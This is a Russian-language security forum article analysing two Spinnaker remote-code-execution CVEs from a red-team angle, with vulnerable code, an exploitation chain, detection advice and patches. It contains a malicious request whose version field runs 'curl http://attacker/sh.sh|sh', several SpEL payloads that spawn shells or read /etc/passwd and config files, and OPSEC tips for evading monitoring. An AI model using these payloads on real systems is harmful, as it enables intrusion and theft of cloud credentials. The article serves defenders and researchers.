Статья CVE-2026-32604 и CVE-2026-32613: RCE в Spinnaker — от low-priv аутентификации до shell на clouddriver и Echo

Исследователь в ночной лаборатории склонился над тремя мониторами: на экранах — стек-трейс с ошибкой, оболочка Kubernetes и подсвеченный SpEL-пейлоад. Жёсткий свет лампы падает на разобранный серве...


На red team-проекте против CI/CD-конвейера финтех-компании - один из классических сценариев атак на цепочку поставок, которые я разобрал в обзоре TTP атак на цепочку поставок 2025–2026, мне попался Spinnaker за API-шлюзом Gate - обычная учётка без привилегированных ролей, доступ через корпоративный VPN. Два часа recon, один PUT /artifacts/fetch - и я сижу в шелле на поде clouddriver с production-credentials AWS. Приятно.

В апреле 2026 года ZeroPath Research опубликовала advisory по двум критическим уязвимостям, которые превращают именно такой доступ в полноценный RCE: CVE-2026-32604 (command injection в clouddriver, CVSS 9.9) и CVE-2026-32613 (SpEL-инъекция в Echo, CVSS 9.9). Обе эксплуатируются low-privilege пользователем - ни WRITE на application, ни EXECUTE на pipeline для первого вектора не нужны. Ниже - разбор обоих векторов до уровня конкретных строк кода, post-exploitation и то, что реально видит (и не видит) blue team.

Архитектура Spinnaker и модель доверия, которая всё ломает​

Spinnaker - open source платформа для управления деплоями в multi-cloud средах, созданная Netflix. Используется Google, Cisco и сотнями enterprise-команд. Архитектурно это 10+ микросервисов, из которых для эксплуатации нас интересуют пять:
  • Gate - публичный API-шлюз, единственная точка аутентификации и авторизации.
  • Orca - оркестратор pipeline'ов, выполняет стадии деплоя.
  • Clouddriver - интерфейс к облачным провайдерам, хранит credentials для production.
  • Echo - хаб нотификаций и триггеров pipeline'ов, обрабатывает события.
  • Fiat - сервис авторизации (RBAC).
Архитектурный корень обеих уязвимостей - perimeter-based trust model. Gate аутентифицирует входящие запросы, а дальше все микросервисы общаются друг с другом внутри Kubernetes-кластера без проверки прав. ZeroPath формулирует прямо: «The network within which the services run is assumed to be trusted». Получил shell на любом внутреннем сервисе - и ты в fully trusted zone. Без пароля, без токена, без вопросов.

Система привилегий Spinnaker простая. Два типа ресурсов: Account (облачный аккаунт - READ/WRITE) и Application (управляемое приложение - READ/EXECUTE/WRITE). CVE-2026-32604 не требует ни одной из этих привилегий - хватает аутентификации в Gate. CVE-2026-32613 требует WRITE на одно application для модификации pipeline trigger.

CVSS-вектор обеих CVE идентичен: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. Ключевое - S:C (Scope: Changed): компрометация выходит за пределы уязвимого компонента на production-инфраструктуру. CWE различаются: CWE-20 (Improper Input Validation) для clouddriver и CWE-94 (Code Injection) для Echo.

Оба вектора актуальны на внутреннем пентесте, где Spinnaker доступен через VPN или корпоративную сеть. На внешнем - только если Gate торчит в интернет (ZeroPath отмечает единичные случаи публичных инстансов, но стандартная конфигурация - private-only).

CVE-2026-32604: command injection в Clouddriver через git/repo-артефакты​

Уязвимый путь: от PUT /artifacts/fetch до sh -c​

Clouddriver - самая жирная цель: именно этот сервис хранит credentials к production-облакам (AWS, GCP, Azure). Вектор атаки проходит через эндпоинт PUT /artifacts/fetch, который Gate проксирует в Clouddriver без дополнительной авторизации.

Clouddriver поддерживает несколько типов артефактов, включая git/repo - скачивание git-репозитория. В GitJobExecutor.java имя ветки из пользовательского ввода конкатенируется напрямую в shell-команду:
Java:
String command = gitExecutable
    + " clone --branch " + branch
    + " --depth 1 " + repoUrlWithAuth(repoUrl);
JobResult<String> result = new CommandChain(destination)
    .addCommand(command).runAll();
Переменная branch - содержимое поля version из JSON-тела запроса. Никакой санитизации, никакого экранирования. Классика жанра.

Но одной конкатенации мало - нужно, чтобы итоговая строка выполнялась через sh -c, а не через прямой exec(). Тут всё зависит от типа аутентификации artifact account:
Java:
switch (authType) {
    case USER_PASS:
    case USER_TOKEN:
    case TOKEN:
        cmdList.add("sh");
        cmdList.add("-c");
        cmdList.add(cmd);
        break;
    case SSH:
    default:
        cmdList.addAll(Arrays.asList(cmd.split(" ")));
}
При USER_PASS, USER_TOKEN или TOKEN команда передаётся в sh -c, и точка с запятой в version работает как разделитель команд оболочки. При SSH - аргументы разбиваются по пробелам, и классическая инъекция не пройдёт (хотя ZeroPath отмечает, что продвинутый атакующий может злоупотребить git-опциями --upload-pack или -c даже в этом случае).

Fingerprinting и условия эксплуатации​

Требования к окружению для воспроизведения: Spinnaker версии ниже 2026.0.1 / 2025.4.2 / 2025.3.2, аутентифицированная учётная запись в Gate, artifact account с типом TOKEN/USER_PASS/USER_TOKEN. Для локального стенда: docker-compose с Spinnaker или kind-кластер с Halyard.

Полная цепочка эксплуатации:
  1. Аутентифицироваться в Gate (любая учётка).
  2. Запросить GET /artifacts/credentials - эндпоинт отдаёт список всех artifact accounts любому аутентифицированному пользователю. Без проверки ролей. Просто так.
  3. Выбрать аккаунт с типом аутентификации TOKEN, USER_PASS или USER_TOKEN.
  4. Отправить PUT /artifacts/fetch с payload в поле version.
Пример вредоносного запроса:
JSON:
{
  "type": "git/repo",
  "reference": "https://example.com/repo.git",
  "version": "main; curl http://attacker/sh.sh|sh;",
  "artifactAccount": "valid-token-account"
}
Clouddriver выполнит: sh -c "git clone --branch main; curl http://attacker/sh.sh|sh; --depth 1 https://..." - семиколон разрывает команду, и вместо клонирования clouddriver выполняет произвольный скрипт. Command injection уровня «первый семестр secure coding», а CVSS - 9.9.

В терминах MITRE ATT&CK: Exploit Public-Facing Application (T1190, Initial Access) при внешнем Gate, Software Deployment Tools (T1072, Lateral Movement) при внутреннем доступе, затем Unix Shell (T1059.004, Execution) через Indirect Command Execution (T1202, Defense Evasion).

Ограничения: если в организации все artifact accounts настроены через SSH-ключи - стандартный payload через ; не сработает. Если перед Gate стоит WAF, инспектирующий JSON-body запросов, payload может быть отфильтрован. Но WAF перед внутренним Spinnaker - это из области фантастики, на практике я такое видел ровно ноль раз.

PoC-скрипты опубликованы ZeroPath в репозитории ZeroPathAI/spinnaker-poc на GitHub (обновлён 2026-04-21).

CVE-2026-32613: SpEL-инъекция в Echo без sandbox​

Почему Echo уязвим, а Orca - нет​

Echo обрабатывает триггеры pipeline'ов и нотификации, включая expected artifacts. Для обработки выражений в artifact definitions Echo использует Spring Expression Language (SpEL) - стандартный механизм Spring Framework для вычисления выражений в runtime.

Orca тоже использует SpEL, но с одним принципиальным отличием: Orca ограничивает SpEL-контекст whitelist'ом доверенных классов. Echo - нет. NVD формулирует: «Echo was NOT restricting that context to a set of trusted classes, but allowing FULL JVM access». SpEL-выражения в Echo могут инстанцировать любой Java-класс из classpath: java.lang.Runtime, java.lang.ProcessBuilder, java.io.File - полный набор для RCE и доступа к файловой системе.

CWE-94 (Improper Control of Generation of Code) - принципиально другой класс уязвимости по сравнению с command injection в clouddriver. Здесь атакующий работает не с shell-командами, а с Java-классами внутри JVM. Это даёт более широкие возможности: чтение файлов, сетевые подключения, загрузка произвольных классов - всё из одного выражения.

Вектор через expected artifacts и конструирование SpEL-payload​

Входная точка - конфигурация pipeline trigger с вредоносным SpEL-выражением в полях, связанных с artifact definition. Для эксплуатации нужна WRITE-привилегия на хотя бы одно application в Spinnaker (чтобы модифицировать pipeline). Если атакующий уже внутри trusted network - например, через CVE-2026-32604 - можно обращаться к Echo напрямую, минуя Gate и авторизацию Fiat.

Стандартные SpEL-payload'ы для RCE в неограниченном контексте:
  • Через Runtime: ${T(java.lang.Runtime).getRuntime().exec('id')}
  • Через ProcessBuilder: ${new java.lang.ProcessBuilder({'sh','-c','cat /etc/passwd'}).start()}
  • Чтение файлов: ${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/opt/spinnaker/config/echo.yml'))}
Все три варианта работают без ограничений, потому что Echo не фильтрует ни классы, ни пакеты в SpEL-контексте. Orca получила sandbox, а Echo, обрабатывающий те же данные, - нет. Один сервис прикрыли, соседний забыли. Бывает.

CVE-2026-32613 наиболее опасна как второй этап в цепочке атаки. Clouddriver уже скомпрометирован через CVE-2026-32604 → доступ к Echo тривиален: из clouddriver-пода можно обратиться к Echo по внутреннему DNS без аутентификации. Как самостоятельный вектор - требует WRITE на application, что сужает круг атакующих до разработчиков и DevOps-инженеров с соответствующими правами.

Ограничение: если организация использует OPA/Gatekeeper для валидации pipeline-конфигов на уровне admission controller - SpEL-payload в pipeline trigger может быть отклонён до попадания в Echo. Но стандартная установка Spinnaker такую валидацию не включает.

Какой вектор выбрать: decision table​

УсловиеCVE-2026-32604 (Clouddriver)CVE-2026-32613 (Echo)
Требуемые привилегииТолько аутентификацияWRITE на application
Artifact accounts с TOKEN/USER_PASSОбязательноНе требуется
Доступ изнутри trusted networkУпрощает (обход Gate)Упрощает (обход Fiat)
РезультатShell на clouddriver-подеJVM-доступ на echo-поде
Ценность post-exploitationОблачные credentialsТокены нотификаций, конфиг интеграций
Сложность детекцииСредняя (WAF на body)Высокая (SpEL в JSON)

На внутреннем пентесте оптимальная стратегия: начать с CVE-2026-32604 (ниже порог входа), получить shell на clouddriver, затем через trusted network обратиться к Echo напрямую для CVE-2026-32613 - расширяя доступ без повторной аутентификации. Два хопа, ноль дополнительных кредов.

Post-exploitation: от пода к production credentials​

Компрометация clouddriver - не просто RCE на одном поде. Стандартная цепочка post-exploitation по данным ZeroPath:
🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Что видит blue team и слепые зоны мониторинга​

Детекция на уровне сети и приложения​

Для CVE-2026-32604 основной IoC - запросы PUT /artifacts/fetch с подозрительным содержимым в поле version. Если reverse proxy перед Gate логирует тела запросов, Sigma-правило на наличие ;, |, $(), обратных кавычек в JSON-body поля version отлавливает базовые payload'ы. Проблема: этот эндпоинт используется легитимно для скачивания артефактов, и фильтрация по URL-пути создаст кучу false positive.

Для CVE-2026-32613 сетевая детекция значительно сложнее. SpEL-выражения находятся глубоко в JSON-структуре pipeline trigger и могут быть обфусцированы. Regex-подход ненадёжен - нужен парсинг конструкций вида T(java.lang., new java.lang.Process, Runtime.getRuntime() внутри pipeline JSON. На практике это требует кастомного парсера на уровне admission webhook в Kubernetes или API-прокси перед Echo. Готовых решений я не встречал.

На уровне хоста: runtime-мониторинг (Falco, Tetragon) на clouddriver/echo подах обнаружит выполнение shell-команд из Java-процесса. Правило Falco на execve с parent-процессом java и командой sh/bash/curl - стандартный детект для command injection в JVM-приложениях. Если Falco на подах стоит - вас поймают. Если не стоит (а на Spinnaker-подах его часто нет) - тишина.

OPSEC при эксплуатации на реальном проекте​

Что оставляет следы:
  • PUT /artifacts/fetch логируется в access-логах Gate и clouddriver. Payload попадёт в лог.
  • git clone на несуществующий репозиторий - ошибка в логах clouddriver с полным текстом команды.
  • Reverse shell из пода - алерт в Falco/Tetragon на execve от потомка JVM.
  • Исходящее соединение из пода - NetworkPolicy violation (если настроена egress-фильтрация).
Для минимизации следов: DNS-канал для exfiltration тише прямого TCP reverse shell. Перед попыткой обратного подключения - проверить kubectl get networkpolicy -n spinnaker (если доступ к K8s API уже есть). Для CVE-2026-32604 - payload через curl ... | sh оставляет меньше артефактов в git-логах, чем попытка записи в файл. Для SpEL - ProcessBuilder с перенаправлением в файл внутри пода тише, чем Runtime.exec() с pipe.

EPSS-контекст: по данным FIRST.org на май 2026, обе CVE имеют EPSS 0.0008 (percentile ~0.23) - вероятность массовой эксплуатации в ближайшие 30 дней ниже медианы. CISA SSVC: «Track» (мониторить), exploitation status - none, automatable - no, technical impact - total. Массовой эксплуатации нет, но единичные целевые атаки - вполне реальный сценарий.

Патч и временные митигации​

Уязвимости исправлены в версиях Spinnaker: 2026.1.0, 2026.0.1, 2025.4.2, 2025.3.2. Проверить текущую версию: curl -s https://<gate-host>/version или через Deck UI - Settings.

Workaround'ы до патча:
  • CVE-2026-32604: отключить artifact type git/repo в конфигурации clouddriver. Ломает скачивание git-артефактов, но закрывает вектор инъекции.
  • CVE-2026-32613: отключить Echo полностью. Ломает нотификации и часть триггеров pipeline'ов - болезненно для production, но устраняет SpEL-вектор.
Долгосрочно: внедрить mTLS между микросервисами Spinnaker (устраняет lateral movement через trusted network), ограничить доступ к PUT /artifacts/fetch через RBAC в Gate, настроить Falco с правилами на shell-spawn из JVM-процессов, ввести admission webhook для валидации SpEL в pipeline-конфигах.

Advisory: GHSA-x3j7-7pgj-h87r (CVE-2026-32604), GHSA-69rw-45wj-g4v6 (CVE-2026-32613).

Две уязвимости с одинаковым CVSS 9.9 - и принципиально разная природа. CVE-2026-32604 - банальная конкатенация пользовательского ввода в shell-команду, ошибка уровня «первый семестр secure coding». CVE-2026-32613 - архитектурный просчёт: Orca получила sandbox на SpEL-контекст, а Echo - нет. Обе уязвимости существовали годами.

И вот что меня в этой истории цепляет больше всего. Pipeline-инфраструктура - Spinnaker, Argo CD, Jenkins - исторически не проверялась с offensive-перспективы. DevOps-команды фокусировались на функциональности, security review приходил последним (если вообще приходил), а модель доверия между микросервисами строилась по принципу «всё внутри кластера - trusted». Результат: command injection'ы уровня 2015 года в сервисах с ключами от production. Для тех, кто работает в red team против enterprise-инфраструктуры, CI/CD-конвейер сейчас - один из самых недооценённых векторов. Не потому что там сложные zero-day, а потому что там валяются простейшие баги в сервисах с максимальными привилегиями. Проверьте свой Spinnaker - GET /artifacts/credentials покажет, есть ли у вас аккаунты с TOKEN-аутентификацией. Если есть и версия не патченная - у вас та же проблема.
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab